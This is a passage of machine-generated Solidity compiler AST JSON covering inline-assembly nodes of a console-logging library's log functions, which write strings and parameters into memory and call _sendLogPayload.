22","nodeType":"YulFunctionCall","src":"72844:24:22"},"variables":[{"name":"shift","nativeSrc":"72835:5:22","nodeType":"YulTypedName","src":"72835:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"72896:3:22","nodeType":"YulIdentifier","src":"72896:3:22"},{"kind":"number","nativeSrc":"72901:4:22","nodeType":"YulLiteral","src":"72901:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"72892:3:22","nodeType":"YulIdentifier","src":"72892:3:22"},"nativeSrc":"72892:14:22","nodeType":"YulFunctionCall","src":"72892:14:22"},{"arguments":[{"name":"shift","nativeSrc":"72912:5:22","nodeType":"YulIdentifier","src":"72912:5:22"},{"arguments":[{"name":"shift","nativeSrc":"72923:5:22","nodeType":"YulIdentifier","src":"72923:5:22"},{"name":"w","nativeSrc":"72930:1:22","nodeType":"YulIdentifier","src":"72930:1:22"}],"functionName":{"name":"shr","nativeSrc":"72919:3:22","nodeType":"YulIdentifier","src":"72919:3:22"},"nativeSrc":"72919:13:22","nodeType":"YulFunctionCall","src":"72919:13:22"}],"functionName":{"name":"shl","nativeSrc":"72908:3:22","nodeType":"YulIdentifier","src":"72908:3:22"},"nativeSrc":"72908:25:22","nodeType":"YulFunctionCall","src":"72908:25:22"}],"functionName":{"name":"mstore","nativeSrc":"72885:6:22","nodeType":"YulIdentifier","src":"72885:6:22"},"nativeSrc":"72885:49:22","nodeType":"YulFunctionCall","src":"72885:49:22"},"nativeSrc":"72885:49:22","nodeType":"YulExpressionStatement","src":"72885:49:22"}]},"name":"writeString","nativeSrc":"72606:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"72627:3:22","nodeType":"YulTypedName","src":"72627:3:22","type":""},{"name":"w","nativeSrc":"72632:1:22","nodeType":"YulTypedName","src":"72632:1:22","type":""}],"src":"72606:342:22"},{"nativeSrc":"72961:17:22","nodeType":"YulAssignment","src":"72961:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"72973:4:22","nodeType":"YulLiteral","src":"72973:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"72967:5:22","nodeType":"YulIdentifier","src":"72967:5:22"},"nativeSrc":"72967:11:22","nodeType":"YulFunctionCall","src":"72967:11:22"},"variableNames":[{"name":"m0","nativeSrc":"72961:2:22","nodeType":"YulIdentifier","src":"72961:2:22"}]},{"nativeSrc":"72991:17:22","nodeType":"YulAssignment","src":"72991:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"73003:4:22","nodeType":"YulLiteral","src":"73003:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"72997:5:22","nodeType":"YulIdentifier","src":"72997:5:22"},"nativeSrc":"72997:11:22","nodeType":"YulFunctionCall","src":"72997:11:22"},"variableNames":[{"name":"m1","nativeSrc":"72991:2:22","nodeType":"YulIdentifier","src":"72991:2:22"}]},{"nativeSrc":"73021:17:22","nodeType":"YulAssignment","src":"73021:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"73033:4:22","nodeType":"YulLiteral","src":"73033:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"73027:5:22","nodeType":"YulIdentifier","src":"73027:5:22"},"nativeSrc":"73027:11:22","nodeType":"YulFunctionCall","src":"73027:11:22"},"variableNames":[{"name":"m2","nativeSrc":"73021:2:22","nodeType":"YulIdentifier","src":"73021:2:22"}]},{"nativeSrc":"73051:17:22","nodeType":"YulAssignment","src":"73051:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"73063:4:22","nodeType":"YulLiteral","src":"73063:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"73057:5:22","nodeType":"YulIdentifier","src":"73057:5:22"},"nativeSrc":"73057:11:22","nodeType":"YulFunctionCall","src":"73057:11:22"},"variableNames":[{"name":"m3","nativeSrc":"73051:2:22","nodeType":"YulIdentifier","src":"73051:2:22"}]},{"nativeSrc":"73081:17:22","nodeType":"YulAssignment","src":"73081:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"73093:4:22","nodeType":"YulLiteral","src":"73093:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"73087:5:22","nodeType":"YulIdentifier","src":"73087:5:22"},"nativeSrc":"73087:11:22","nodeType":"YulFunctionCall","src":"73087:11:22"},"variableNames":[{"name":"m4","nativeSrc":"73081:2:22","nodeType":"YulIdentifier","src":"73081:2:22"}]},{"nativeSrc":"73111:17:22","nodeType":"YulAssignment","src":"73111:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"73123:4:22","nodeType":"YulLiteral","src":"73123:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"73117:5:22","nodeType":"YulIdentifier","src":"73117:5:22"},"nativeSrc":"73117:11:22","nodeType":"YulFunctionCall","src":"73117:11:22"},"variableNames":[{"name":"m5","nativeSrc":"73111:2:22","nodeType":"YulIdentifier","src":"73111:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"73206:4:22","nodeType":"YulLiteral","src":"73206:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"73212:10:22","nodeType":"YulLiteral","src":"73212:10:22","type":"","value":"0x1c7ec448"}],"functionName":{"name":"mstore","nativeSrc":"73199:6:22","nodeType":"YulIdentifier","src":"73199:6:22"},"nativeSrc":"73199:24:22","nodeType":"YulFunctionCall","src":"73199:24:22"},"nativeSrc":"73199:24:22","nodeType":"YulExpressionStatement","src":"73199:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"73243:4:22","nodeType":"YulLiteral","src":"73243:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"73249:4:22","nodeType":"YulLiteral","src":"73249:4:22","type":"","value":"0x60"}],"functionName":{"name":"mstore","nativeSrc":"73236:6:22","nodeType":"YulIdentifier","src":"73236:6:22"},"nativeSrc":"73236:18:22","nodeType":"YulFunctionCall","src":"73236:18:22"},"nativeSrc":"73236:18:22","nodeType":"YulExpressionStatement","src":"73236:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"73274:4:22","nodeType":"YulLiteral","src":"73274:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"73280:2:22","nodeType":"YulIdentifier","src":"73280:2:22"}],"functionName":{"name":"mstore","nativeSrc":"73267:6:22","nodeType":"YulIdentifier","src":"73267:6:22"},"nativeSrc":"73267:16:22","nodeType":"YulFunctionCall","src":"73267:16:22"},"nativeSrc":"73267:16:22","nodeType":"YulExpressionStatement","src":"73267:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"73303:4:22","nodeType":"YulLiteral","src":"73303:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"73309:2:22","nodeType":"YulIdentifier","src":"73309:2:22"}],"functionName":{"name":"mstore","nativeSrc":"73296:6:22","nodeType":"YulIdentifier","src":"73296:6:22"},"nativeSrc":"73296:16:22","nodeType":"YulFunctionCall","src":"73296:16:22"},"nativeSrc":"73296:16:22","nodeType":"YulExpressionStatement","src":"73296:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"73337:4:22","nodeType":"YulLiteral","src":"73337:4:22","type":"","value":"0x80"},{"name":"p0","nativeSrc":"73343:2:22","nodeType":"YulIdentifier","src":"73343:2:22"}],"functionName":{"name":"writeString","nativeSrc":"73325:11:22","nodeType":"YulIdentifier","src":"73325:11:22"},"nativeSrc":"73325:21:22","nodeType":"YulFunctionCall","src":"73325:21:22"},"nativeSrc":"73325:21:22","nodeType":"YulExpressionStatement","src":"73325:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36040,"isOffset":false,"isSlot":false,"src":"72961:2:22","valueSize":1},{"declaration":36043,"isOffset":false,"isSlot":false,"src":"72991:2:22","valueSize":1},{"declaration":36046,"isOffset":false,"isSlot":false,"src":"73021:2:22","valueSize":1},{"declaration":36049,"isOffset":false,"isSlot":false,"src":"73051:2:22","valueSize":1},{"declaration":36052,"isOffset":false,"isSlot":false,"src":"73081:2:22","valueSize":1},{"declaration":36055,"isOffset":false,"isSlot":false,"src":"73111:2:22","valueSize":1},{"declaration":36032,"isOffset":false,"isSlot":false,"src":"73343:2:22","valueSize":1},{"declaration":36034,"isOffset":false,"isSlot":false,"src":"73280:2:22","valueSize":1},{"declaration":36036,"isOffset":false,"isSlot":false,"src":"73309:2:22","valueSize":1}],"id":36057,"nodeType":"InlineAssembly","src":"72583:773:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":36059,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"73381:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786134","id":36060,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"73387:4:22","typeDescriptions":{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"},"value":"0xa4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"}],"id":36058,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"73365:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":36061,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"73365:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":36062,"nodeType":"ExpressionStatement","src":"73365:27:22"},{"AST":{"nativeSrc":"73411:185:22","nodeType":"YulBlock","src":"73411:185:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"73432:4:22","nodeType":"YulLiteral","src":"73432:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"73438:2:22","nodeType":"YulIdentifier","src":"73438:2:22"}],"functionName":{"name":"mstore","nativeSrc":"73425:6:22","nodeType":"YulIdentifier","src":"73425:6:22"},"nativeSrc":"73425:16:22","nodeType":"YulFunctionCall","src":"73425:16:22"},"nativeSrc":"73425:16:22","nodeType":"YulExpressionStatement","src":"73425:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"73461:4:22","nodeType":"YulLiteral","src":"73461:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"73467:2:22","nodeType":"YulIdentifier","src":"73467:2:22"}],"functionName":{"name":"mstore","nativeSrc":"73454:6:22","nodeType":"YulIdentifier","src":"73454:6:22"},"nativeSrc":"73454:16:22","nodeType":"YulFunctionCall","src":"73454:16:22"},"nativeSrc":"73454:16:22","nodeType":"YulExpressionStatement","src":"73454:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"73490:4:22","nodeType":"YulLiteral","src":"73490:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"73496:2:22","nodeType":"YulIdentifier","src":"73496:2:22"}],"functionName":{"name":"mstore","nativeSrc":"73483:6:22","nodeType":"YulIdentifier","src":"73483:6:22"},"nativeSrc":"73483:16:22","nodeType":"YulFunctionCall","src":"73483:16:22"},"nativeSrc":"73483:16:22","nodeType":"YulExpressionStatement","src":"73483:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"73519:4:22","nodeType":"YulLiteral","src":"73519:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"73525:2:22","nodeType":"YulIdentifier","src":"73525:2:22"}],"functionName":{"name":"mstore","nativeSrc":"73512:6:22","nodeType":"YulIdentifier","src":"73512:6:22"},"nativeSrc":"73512:16:22","nodeType":"YulFunctionCall","src":"73512:16:22"},"nativeSrc":"73512:16:22","nodeType":"YulExpressionStatement","src":"73512:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"73548:4:22","nodeType":"YulLiteral","src":"73548:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"73554:2:22","nodeType":"YulIdentifier","src":"73554:2:22"}],"functionName":{"name":"mstore","nativeSrc":"73541:6:22","nodeType":"YulIdentifier","src":"73541:6:22"},"nativeSrc":"73541:16:22","nodeType":"YulFunctionCall","src":"73541:16:22"},"nativeSrc":"73541:16:22","nodeType":"YulExpressionStatement","src":"73541:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"73577:4:22","nodeType":"YulLiteral","src":"73577:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"73583:2:22","nodeType":"YulIdentifier","src":"73583:2:22"}],"functionName":{"name":"mstore","nativeSrc":"73570:6:22","nodeType":"YulIdentifier","src":"73570:6:22"},"nativeSrc":"73570:16:22","nodeType":"YulFunctionCall","src":"73570:16:22"},"nativeSrc":"73570:16:22","nodeType":"YulExpressionStatement","src":"73570:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36040,"isOffset":false,"isSlot":false,"src":"73438:2:22","valueSize":1},{"declaration":36043,"isOffset":false,"isSlot":false,"src":"73467:2:22","valueSize":1},{"declaration":36046,"isOffset":false,"isSlot":false,"src":"73496:2:22","valueSize":1},{"declaration":36049,"isOffset":false,"isSlot":false,"src":"73525:2:22","valueSize":1},{"declaration":36052,"isOffset":false,"isSlot":false,"src":"73554:2:22","valueSize":1},{"declaration":36055,"isOffset":false,"isSlot":false,"src":"73583:2:22","valueSize":1}],"id":36063,"nodeType":"InlineAssembly","src":"73402:194:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"72399:3:22","parameters":{"id":36037,"nodeType":"ParameterList","parameters":[{"constant":false,"id":36032,"mutability":"mutable","name":"p0","nameLocation":"72411:2:22","nodeType":"VariableDeclaration","scope":36065,"src":"72403:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36031,"name":"bytes32","nodeType":"ElementaryTypeName","src":"72403:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":36034,"mutability":"mutable","name":"p1","nameLocation":"72423:2:22","nodeType":"VariableDeclaration","scope":36065,"src":"72415:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":36033,"name":"uint256","nodeType":"ElementaryTypeName","src":"72415:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":36036,"mutability":"mutable","name":"p2","nameLocation":"72435:2:22","nodeType":"VariableDeclaration","scope":36065,"src":"72427:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":36035,"name":"address","nodeType":"ElementaryTypeName","src":"72427:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"72402:36:22"},"returnParameters":{"id":36038,"nodeType":"ParameterList","parameters":[],"src":"72453:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":36100,"nodeType":"FunctionDefinition","src":"73608:1206:22","nodes":[],"body":{"id":36099,"nodeType":"Block","src":"73668:1146:22","nodes":[],"statements":[{"assignments":[36075],"declarations":[{"constant":false,"id":36075,"mutability":"mutable","name":"m0","nameLocation":"73686:2:22","nodeType":"VariableDeclaration","scope":36099,"src":"73678:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36074,"name":"bytes32","nodeType":"ElementaryTypeName","src":"73678:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36076,"nodeType":"VariableDeclarationStatement","src":"73678:10:22"},{"assignments":[36078],"declarations":[{"constant":false,"id":36078,"mutability":"mutable","name":"m1","nameLocation":"73706:2:22","nodeType":"VariableDeclaration","scope":36099,"src":"73698:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36077,"name":"bytes32","nodeType":"ElementaryTypeName","src":"73698:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36079,"nodeType":"VariableDeclarationStatement","src":"73698:10:22"},{"assignments":[36081],"declarations":[{"constant":false,"id":36081,"mutability":"mutable","name":"m2","nameLocation":"73726:2:22","nodeType":"VariableDeclaration","scope":36099,"src":"73718:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36080,"name":"bytes32","nodeType":"ElementaryTypeName","src":"73718:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36082,"nodeType":"VariableDeclarationStatement","src":"73718:10:22"},{"assignments":[36084],"declarations":[{"constant":false,"id":36084,"mutability":"mutable","name":"m3","nameLocation":"73746:2:22","nodeType":"VariableDeclaration","scope":36099,"src":"73738:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36083,"name":"bytes32","nodeType":"ElementaryTypeName","src":"73738:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36085,"nodeType":"VariableDeclarationStatement","src":"73738:10:22"},{"assignments":[36087],"declarations":[{"constant":false,"id":36087,"mutability":"mutable","name":"m4","nameLocation":"73766:2:22","nodeType":"VariableDeclaration","scope":36099,"src":"73758:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36086,"name":"bytes32","nodeType":"ElementaryTypeName","src":"73758:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36088,"nodeType":"VariableDeclarationStatement","src":"73758:10:22"},{"assignments":[36090],"declarations":[{"constant":false,"id":36090,"mutability":"mutable","name":"m5","nameLocation":"73786:2:22","nodeType":"VariableDeclaration","scope":36099,"src":"73778:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36089,"name":"bytes32","nodeType":"ElementaryTypeName","src":"73778:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36091,"nodeType":"VariableDeclarationStatement","src":"73778:10:22"},{"AST":{"nativeSrc":"73807:761:22","nodeType":"YulBlock","src":"73807:761:22","statements":[{"body":{"nativeSrc":"73850:313:22","nodeType":"YulBlock","src":"73850:313:22","statements":[{"nativeSrc":"73868:15:22","nodeType":"YulVariableDeclaration","src":"73868:15:22","value":{"kind":"number","nativeSrc":"73882:1:22","nodeType":"YulLiteral","src":"73882:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"73872:6:22","nodeType":"YulTypedName","src":"73872:6:22","type":""}]},{"body":{"nativeSrc":"73953:40:22","nodeType":"YulBlock","src":"73953:40:22","statements":[{"body":{"nativeSrc":"73982:9:22","nodeType":"YulBlock","src":"73982:9:22","statements":[{"nativeSrc":"73984:5:22","nodeType":"YulBreak","src":"73984:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"73970:6:22","nodeType":"YulIdentifier","src":"73970:6:22"},{"name":"w","nativeSrc":"73978:1:22","nodeType":"YulIdentifier","src":"73978:1:22"}],"functionName":{"name":"byte","nativeSrc":"73965:4:22","nodeType":"YulIdentifier","src":"73965:4:22"},"nativeSrc":"73965:15:22","nodeType":"YulFunctionCall","src":"73965:15:22"}],"functionName":{"name":"iszero","nativeSrc":"73958:6:22","nodeType":"YulIdentifier","src":"73958:6:22"},"nativeSrc":"73958:23:22","nodeType":"YulFunctionCall","src":"73958:23:22"},"nativeSrc":"73955:36:22","nodeType":"YulIf","src":"73955:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"73910:6:22","nodeType":"YulIdentifier","src":"73910:6:22"},{"kind":"number","nativeSrc":"73918:4:22","nodeType":"YulLiteral","src":"73918:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"73907:2:22","nodeType":"YulIdentifier","src":"73907:2:22"},"nativeSrc":"73907:16:22","nodeType":"YulFunctionCall","src":"73907:16:22"},"nativeSrc":"73900:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"73924:28:22","nodeType":"YulBlock","src":"73924:28:22","statements":[{"nativeSrc":"73926:24:22","nodeType":"YulAssignment","src":"73926:24:22","value":{"arguments":[{"name":"length","nativeSrc":"73940:6:22","nodeType":"YulIdentifier","src":"73940:6:22"},{"kind":"number","nativeSrc":"73948:1:22","nodeType":"YulLiteral","src":"73948:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"73936:3:22","nodeType":"YulIdentifier","src":"73936:3:22"},"nativeSrc":"73936:14:22","nodeType":"YulFunctionCall","src":"73936:14:22"},"variableNames":[{"name":"length","nativeSrc":"73926:6:22","nodeType":"YulIdentifier","src":"73926:6:22"}]}]},"pre":{"nativeSrc":"73904:2:22","nodeType":"YulBlock","src":"73904:2:22","statements":[]},"src":"73900:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"74017:3:22","nodeType":"YulIdentifier","src":"74017:3:22"},{"name":"length","nativeSrc":"74022:6:22","nodeType":"YulIdentifier","src":"74022:6:22"}],"functionName":{"name":"mstore","nativeSrc":"74010:6:22","nodeType":"YulIdentifier","src":"74010:6:22"},"nativeSrc":"74010:19:22","nodeType":"YulFunctionCall","src":"74010:19:22"},"nativeSrc":"74010:19:22","nodeType":"YulExpressionStatement","src":"74010:19:22"},{"nativeSrc":"74046:37:22","nodeType":"YulVariableDeclaration","src":"74046:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"74063:3:22","nodeType":"YulLiteral","src":"74063:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"74072:1:22","nodeType":"YulLiteral","src":"74072:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"74075:6:22","nodeType":"YulIdentifier","src":"74075:6:22"}],"functionName":{"name":"shl","nativeSrc":"74068:3:22","nodeType":"YulIdentifier","src":"74068:3:22"},"nativeSrc":"74068:14:22","nodeType":"YulFunctionCall","src":"74068:14:22"}],"functionName":{"name":"sub","nativeSrc":"74059:3:22","nodeType":"YulIdentifier","src":"74059:3:22"},"nativeSrc":"74059:24:22","nodeType":"YulFunctionCall","src":"74059:24:22"},"variables":[{"name":"shift","nativeSrc":"74050:5:22","nodeType":"YulTypedName","src":"74050:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"74111:3:22","nodeType":"YulIdentifier","src":"74111:3:22"},{"kind":"number","nativeSrc":"74116:4:22","nodeType":"YulLiteral","src":"74116:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"74107:3:22","nodeType":"YulIdentifier","src":"74107:3:22"},"nativeSrc":"74107:14:22","nodeType":"YulFunctionCall","src":"74107:14:22"},{"arguments":[{"name":"shift","nativeSrc":"74127:5:22","nodeType":"YulIdentifier","src":"74127:5:22"},{"arguments":[{"name":"shift","nativeSrc":"74138:5:22","nodeType":"YulIdentifier","src":"74138:5:22"},{"name":"w","nativeSrc":"74145:1:22","nodeType":"YulIdentifier","src":"74145:1:22"}],"functionName":{"name":"shr","nativeSrc":"74134:3:22","nodeType":"YulIdentifier","src":"74134:3:22"},"nativeSrc":"74134:13:22","nodeType":"YulFunctionCall","src":"74134:13:22"}],"functionName":{"name":"shl","nativeSrc":"74123:3:22","nodeType":"YulIdentifier","src":"74123:3:22"},"nativeSrc":"74123:25:22","nodeType":"YulFunctionCall","src":"74123:25:22"}],"functionName":{"name":"mstore","nativeSrc":"74100:6:22","nodeType":"YulIdentifier","src":"74100:6:22"},"nativeSrc":"74100:49:22","nodeType":"YulFunctionCall","src":"74100:49:22"},"nativeSrc":"74100:49:22","nodeType":"YulExpressionStatement","src":"74100:49:22"}]},"name":"writeString","nativeSrc":"73821:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"73842:3:22","nodeType":"YulTypedName","src":"73842:3:22","type":""},{"name":"w","nativeSrc":"73847:1:22","nodeType":"YulTypedName","src":"73847:1:22","type":""}],"src":"73821:342:22"},{"nativeSrc":"74176:17:22","nodeType":"YulAssignment","src":"74176:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"74188:4:22","nodeType":"YulLiteral","src":"74188:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"74182:5:22","nodeType":"YulIdentifier","src":"74182:5:22"},"nativeSrc":"74182:11:22","nodeType":"YulFunctionCall","src":"74182:11:22"},"variableNames":[{"name":"m0","nativeSrc":"74176:2:22","nodeType":"YulIdentifier","src":"74176:2:22"}]},{"nativeSrc":"74206:17:22","nodeType":"YulAssignment","src":"74206:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"74218:4:22","nodeType":"YulLiteral","src":"74218:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"74212:5:22","nodeType":"YulIdentifier","src":"74212:5:22"},"nativeSrc":"74212:11:22","nodeType":"YulFunctionCall","src":"74212:11:22"},"variableNames":[{"name":"m1","nativeSrc":"74206:2:22","nodeType":"YulIdentifier","src":"74206:2:22"}]},{"nativeSrc":"74236:17:22","nodeType":"YulAssignment","src":"74236:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"74248:4:22","nodeType":"YulLiteral","src":"74248:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"74242:5:22","nodeType":"YulIdentifier","src":"74242:5:22"},"nativeSrc":"74242:11:22","nodeType":"YulFunctionCall","src":"74242:11:22"},"variableNames":[{"name":"m2","nativeSrc":"74236:2:22","nodeType":"YulIdentifier","src":"74236:2:22"}]},{"nativeSrc":"74266:17:22","nodeType":"YulAssignment","src":"74266:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"74278:4:22","nodeType":"YulLiteral","src":"74278:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"74272:5:22","nodeType":"YulIdentifier","src":"74272:5:22"},"nativeSrc":"74272:11:22","nodeType":"YulFunctionCall","src":"74272:11:22"},"variableNames":[{"name":"m3","nativeSrc":"74266:2:22","nodeType":"YulIdentifier","src":"74266:2:22"}]},{"nativeSrc":"74296:17:22","nodeType":"YulAssignment","src":"74296:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"74308:4:22","nodeType":"YulLiteral","src":"74308:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"74302:5:22","nodeType":"YulIdentifier","src":"74302:5:22"},"nativeSrc":"74302:11:22","nodeType":"YulFunctionCall","src":"74302:11:22"},"variableNames":[{"name":"m4","nativeSrc":"74296:2:22","nodeType":"YulIdentifier","src":"74296:2:22"}]},{"nativeSrc":"74326:17:22","nodeType":"YulAssignment","src":"74326:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"74338:4:22","nodeType":"YulLiteral","src":"74338:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"74332:5:22","nodeType":"YulIdentifier","src":"74332:5:22"},"nativeSrc":"74332:11:22","nodeType":"YulFunctionCall","src":"74332:11:22"},"variableNames":[{"name":"m5","nativeSrc":"74326:2:22","nodeType":"YulIdentifier","src":"74326:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"74418:4:22","nodeType":"YulLiteral","src":"74418:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"74424:10:22","nodeType":"YulLiteral","src":"74424:10:22","type":"","value":"0xca7733b1"}],"functionName":{"name":"mstore","nativeSrc":"74411:6:22","nodeType":"YulIdentifier","src":"74411:6:22"},"nativeSrc":"74411:24:22","nodeType":"YulFunctionCall","src":"74411:24:22"},"nativeSrc":"74411:24:22","nodeType":"YulExpressionStatement","src":"74411:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"74455:4:22","nodeType":"YulLiteral","src":"74455:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"74461:4:22","nodeType":"YulLiteral","src":"74461:4:22","type":"","value":"0x60"}],"functionName":{"name":"mstore","nativeSrc":"74448:6:22","nodeType":"YulIdentifier","src":"74448:6:22"},"nativeSrc":"74448:18:22","nodeType":"YulFunctionCall","src":"74448:18:22"},"nativeSrc":"74448:18:22","nodeType":"YulExpressionStatement","src":"74448:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"74486:4:22","nodeType":"YulLiteral","src":"74486:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"74492:2:22","nodeType":"YulIdentifier","src":"74492:2:22"}],"functionName":{"name":"mstore","nativeSrc":"74479:6:22","nodeType":"YulIdentifier","src":"74479:6:22"},"nativeSrc":"74479:16:22","nodeType":"YulFunctionCall","src":"74479:16:22"},"nativeSrc":"74479:16:22","nodeType":"YulExpressionStatement","src":"74479:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"74515:4:22","nodeType":"YulLiteral","src":"74515:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"74521:2:22","nodeType":"YulIdentifier","src":"74521:2:22"}],"functionName":{"name":"mstore","nativeSrc":"74508:6:22","nodeType":"YulIdentifier","src":"74508:6:22"},"nativeSrc":"74508:16:22","nodeType":"YulFunctionCall","src":"74508:16:22"},"nativeSrc":"74508:16:22","nodeType":"YulExpressionStatement","src":"74